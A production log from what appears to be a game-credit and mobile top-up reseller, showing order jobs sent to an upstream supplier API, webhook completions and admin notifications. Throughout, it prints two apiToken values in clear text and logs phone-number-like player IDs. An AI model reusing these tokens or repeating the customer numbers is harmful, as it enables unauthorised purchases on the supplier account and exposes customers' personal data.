[2026-03-24 16:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:55:32] production.INFO: Constructing job for order: 178952  
[2026-03-24 16:55:33] production.INFO: Handling job for order: 178952  
[2026-03-24 16:55:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:55:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:55:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=5010133b-6d49-4bfe-bc6d-6286bcc09d21&Player_ID=52245909262  
[2026-03-24 16:55:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=5010133b-6d49-4bfe-bc6d-6286bcc09d21&Player_ID=52245909262","has_body":false} 
[2026-03-24 16:55:34] production.INFO: Operation sent successfully {"operation_id":163860,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MjB-1774360534","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:55:34"}},"processed_data":{"order_number":"ORD-MjB-1774360534","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:55:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MjB-1774360534","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:55:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-MjB-1774360534","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:55:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:55:45] production.INFO: SendAcceptReject: Notification queued {"user_id":315,"notification_type":"order_approved","reference_id":178952} 
[2026-03-24 16:55:45] production.INFO: Order updated successfully. Order ID: 178952, Status: completed  
[2026-03-24 16:55:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MjB-1774360534","status":"completed","codes_count":0} 
[2026-03-24 16:55:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 16:55:58] production.INFO: Constructing job for order: 178953  
[2026-03-24 16:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01"} 
[2026-03-24 16:56:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","total_operations":2,"sites_count":1} 
[2026-03-24 16:56:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-vaAee9-1774358736","ORD-j5G7ZL-1774360319"]} 
[2026-03-24 16:56:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:56:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 16:56:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 16:56:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:56:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 16:56:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:56:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cF3oVAkF3vhyP52kmopw4ML26Rs9G9J1","execution_time":"2026-03-24 16:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:56:01] production.INFO: Handling job for order: 178953  
[2026-03-24 16:56:01] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:56:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:56:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=eddbedd4-fdda-4cf3-a690-a5419c442e53&Player_ID=5563801894  
[2026-03-24 16:56:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=eddbedd4-fdda-4cf3-a690-a5419c442e53&Player_ID=5563801894","has_body":false} 
[2026-03-24 16:56:02] production.INFO: Operation sent successfully {"operation_id":163861,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ORt-1774360562","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:56:02"}},"processed_data":{"order_number":"ORD-ORt-1774360562","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:56:17] production.INFO: Constructing job for order: 178954  
[2026-03-24 16:56:20] production.INFO: Handling job for order: 178954  
[2026-03-24 16:56:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:56:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:56:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=6121462a-42b1-4f20-b1fc-e1d39d69efb4&Player_ID=52232217964  
[2026-03-24 16:56:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=6121462a-42b1-4f20-b1fc-e1d39d69efb4&Player_ID=52232217964","has_body":false} 
[2026-03-24 16:56:21] production.INFO: Operation sent successfully {"operation_id":163862,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CBnwOP-1774360581","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:56:21"}},"processed_data":{"order_number":"ORD-CBnwOP-1774360581","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:56:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-CBnwOP-1774360581","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:56:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-CBnwOP-1774360581","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:56:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:56:42] production.INFO: SendAcceptReject: Notification queued {"user_id":348,"notification_type":"order_approved","reference_id":178954} 
[2026-03-24 16:56:42] production.INFO: Order updated successfully. Order ID: 178954, Status: completed  
[2026-03-24 16:56:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-CBnwOP-1774360581","status":"completed","codes_count":0} 
[2026-03-24 16:56:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 348  
[2026-03-24 16:56:55] production.INFO: Constructing job for order: 178955  
[2026-03-24 16:56:57] production.INFO: Handling job for order: 178955  
[2026-03-24 16:56:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:56:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:56:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=841b08de-1470-4cd9-a03a-c9cb8557a256&Player_ID=52303009511  
[2026-03-24 16:56:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=841b08de-1470-4cd9-a03a-c9cb8557a256&Player_ID=52303009511","has_body":false} 
[2026-03-24 16:56:58] production.INFO: Operation sent successfully {"operation_id":163863,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ccXWq7SD-1774360618","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:56:58"}},"processed_data":{"order_number":"ORD-ccXWq7SD-1774360618","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:57:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ORt-1774360562","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:57:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-ORt-1774360562","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:57:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:57:18] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":178953} 
[2026-03-24 16:57:18] production.INFO: Order updated successfully. Order ID: 178953, Status: completed  
[2026-03-24 16:57:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ORt-1774360562","status":"completed","codes_count":0} 
[2026-03-24 16:57:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ccXWq7SD-1774360618","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:57:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-ccXWq7SD-1774360618","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:57:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:57:18] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":178955} 
[2026-03-24 16:57:18] production.INFO: Order updated successfully. Order ID: 178955, Status: completed  
[2026-03-24 16:57:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ccXWq7SD-1774360618","status":"completed","codes_count":0} 
[2026-03-24 16:57:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 16:57:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 16:58:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04"} 
[2026-03-24 16:58:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","total_operations":2,"sites_count":1} 
[2026-03-24 16:58:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-vaAee9-1774358736","ORD-j5G7ZL-1774360319"]} 
[2026-03-24 16:58:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:58:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 16:58:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 16:58:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:58:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 16:58:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:58:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"UMBrluK8wOMqYcJuEtylCIQU2h7urJFd","execution_time":"2026-03-24 16:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:58:05] production.INFO: Constructing job for order: 178956  
[2026-03-24 16:58:07] production.INFO: Handling job for order: 178956  
[2026-03-24 16:58:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:58:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:58:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=101006f9-5ff8-4b45-b7e9-9faf8a9f58c6&Player_ID=52303009511  
[2026-03-24 16:58:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=101006f9-5ff8-4b45-b7e9-9faf8a9f58c6&Player_ID=52303009511","has_body":false} 
[2026-03-24 16:58:08] production.INFO: Operation sent successfully {"operation_id":163864,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cU5-1774360688","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:58:08"}},"processed_data":{"order_number":"ORD-cU5-1774360688","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:58:15] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158451295","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phps3sgrf30fbsc1D9IKPQ"}},"user_id":1285} 
[2026-03-24 16:58:16] production.INFO: Constructing job for order: 178957  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:58:17] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:58:17] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18656,"user_id":1285,"amount":1000.0,"admins_notified":7} 
[2026-03-24 16:58:17] production.INFO: Handling job for order: 178957  
[2026-03-24 16:58:17] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:58:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:58:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/33/params?qty=1&uuid=417eb4d5-50e0-4d1a-90a7-564fbb24b1fc&Player_ID=0982459689  
[2026-03-24 16:58:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/33/params?qty=1&uuid=417eb4d5-50e0-4d1a-90a7-564fbb24b1fc&Player_ID=0982459689","has_body":false} 
[2026-03-24 16:58:18] production.INFO: Operation sent successfully {"operation_id":163865,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8Fs-1774360698","amount":25.366330000000001376747604808770120143890380859375,"status":"processing","product":"24.04 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:58:18"}},"processed_data":{"order_number":"ORD-8Fs-1774360698","amount":25.366330000000001376747604808770120143890380859375,"status":"processing","product":"24.04 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:58:21] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cU5-1774360688","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:58:21] production.INFO: Processed webhook data (normalized) {"id":"ORD-cU5-1774360688","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:58:21] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:58:21] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":178956} 
[2026-03-24 16:58:21] production.INFO: Order updated successfully. Order ID: 178956, Status: completed  
[2026-03-24 16:58:21] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cU5-1774360688","status":"completed","codes_count":0} 
[2026-03-24 16:58:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 16:58:30] production.INFO: Constructing job for order: 178958  
[2026-03-24 16:58:33] production.INFO: Handling job for order: 178958  
[2026-03-24 16:58:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:58:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:58:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=5e18fc02-8ca0-414b-a332-bfc4d04a050e&Player_ID=0982459689  
[2026-03-24 16:58:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=5e18fc02-8ca0-414b-a332-bfc4d04a050e&Player_ID=0982459689","has_body":false} 
[2026-03-24 16:58:34] production.INFO: Operation sent successfully {"operation_id":163866,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-uTN4h2-1774360713","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:58:34"}},"processed_data":{"order_number":"ORD-uTN4h2-1774360713","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:58:49] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 16:58:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 16:58:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 951  
[2026-03-24 16:59:07] production.INFO: Constructing job for order: 178959  
[2026-03-24 16:59:10] production.INFO: Handling job for order: 178959  
[2026-03-24 16:59:10] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:59:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:59:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=40a13711-e6e0-477b-a783-550a2d02e7ef&Player_ID=0966535453  
[2026-03-24 16:59:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=40a13711-e6e0-477b-a783-550a2d02e7ef&Player_ID=0966535453","has_body":false} 
[2026-03-24 16:59:10] production.INFO: Operation sent successfully {"operation_id":163867,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-G5bDJZY3-1774360750","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:59:10"}},"processed_data":{"order_number":"ORD-G5bDJZY3-1774360750","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:59:12] production.INFO: Constructing job for order: 178960  
[2026-03-24 16:59:12] production.INFO: Constructing job for order: 178961  
[2026-03-24 16:59:14] production.INFO: Handling job for order: 178960  
[2026-03-24 16:59:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:59:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:59:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=cf384995-3894-46a4-afd0-2cc2e1329676&Player_ID=10750156598  
[2026-03-24 16:59:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=cf384995-3894-46a4-afd0-2cc2e1329676&Player_ID=10750156598","has_body":false} 
[2026-03-24 16:59:14] production.INFO: Operation sent successfully {"operation_id":163868,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kvHgLW-1774360754","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:59:14"}},"processed_data":{"order_number":"ORD-kvHgLW-1774360754","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:59:14] production.INFO: Handling job for order: 178961  
[2026-03-24 16:59:14] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:59:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:59:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=d9f21d3b-b601-4bc1-8543-3bb0a8dd81ba&Player_ID=0966535453  
[2026-03-24 16:59:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=d9f21d3b-b601-4bc1-8543-3bb0a8dd81ba&Player_ID=0966535453","has_body":false} 
[2026-03-24 16:59:15] production.INFO: Operation sent successfully {"operation_id":163869,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-exPo-1774360755","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:59:15"}},"processed_data":{"order_number":"ORD-exPo-1774360755","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:59:17] production.INFO: Constructing job for order: 178962  
[2026-03-24 16:59:18] production.INFO: Handling job for order: 178962  
[2026-03-24 16:59:18] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:59:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:59:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=fd686c1d-5c6d-40cd-b1b6-ea890c252d04&Player_ID=0966535453  
[2026-03-24 16:59:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=fd686c1d-5c6d-40cd-b1b6-ea890c252d04&Player_ID=0966535453","has_body":false} 
[2026-03-24 16:59:19] production.INFO: Operation sent successfully {"operation_id":163870,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2CzQ-1774360759","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:59:19"}},"processed_data":{"order_number":"ORD-2CzQ-1774360759","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:59:30] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 16:59:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 16:59:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1540  
[2026-03-24 16:59:32] production.INFO: Constructing job for order: 178964  
[2026-03-24 16:59:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kvHgLW-1774360754","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:59:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-kvHgLW-1774360754","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:59:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:59:33] production.INFO: SendAcceptReject: Notification queued {"user_id":212,"notification_type":"order_approved","reference_id":178960} 
[2026-03-24 16:59:33] production.INFO: Order updated successfully. Order ID: 178960, Status: completed  
[2026-03-24 16:59:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kvHgLW-1774360754","status":"completed","codes_count":0} 
[2026-03-24 16:59:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 16:59:34] production.INFO: Handling job for order: 178964  
[2026-03-24 16:59:34] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:59:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:59:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=dfb8b0c5-f7ae-450a-afff-25f1fd4ff470&Player_ID=0935791781  
[2026-03-24 16:59:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=dfb8b0c5-f7ae-450a-afff-25f1fd4ff470&Player_ID=0935791781","has_body":false} 
[2026-03-24 16:59:35] production.INFO: Operation sent successfully {"operation_id":163871,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-EeBnvPF-1774360774","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:59:35"}},"processed_data":{"order_number":"ORD-EeBnvPF-1774360774","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:59:48] production.INFO: Constructing job for order: 178965  
[2026-03-24 16:59:50] production.INFO: Handling job for order: 178965  
[2026-03-24 16:59:50] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:59:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:59:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c6c12f95-1ed1-4854-89d3-30de3d41cac7&Player_ID=0933114127  
[2026-03-24 16:59:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c6c12f95-1ed1-4854-89d3-30de3d41cac7&Player_ID=0933114127","has_body":false} 
[2026-03-24 16:59:50] production.INFO: Operation sent successfully {"operation_id":163872,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-U4v-1774360790","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:59:50"}},"processed_data":{"order_number":"ORD-U4v-1774360790","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:59:53] production.INFO: Constructing job for order: 178966  
[2026-03-24 16:59:56] production.INFO: Handling job for order: 178966  
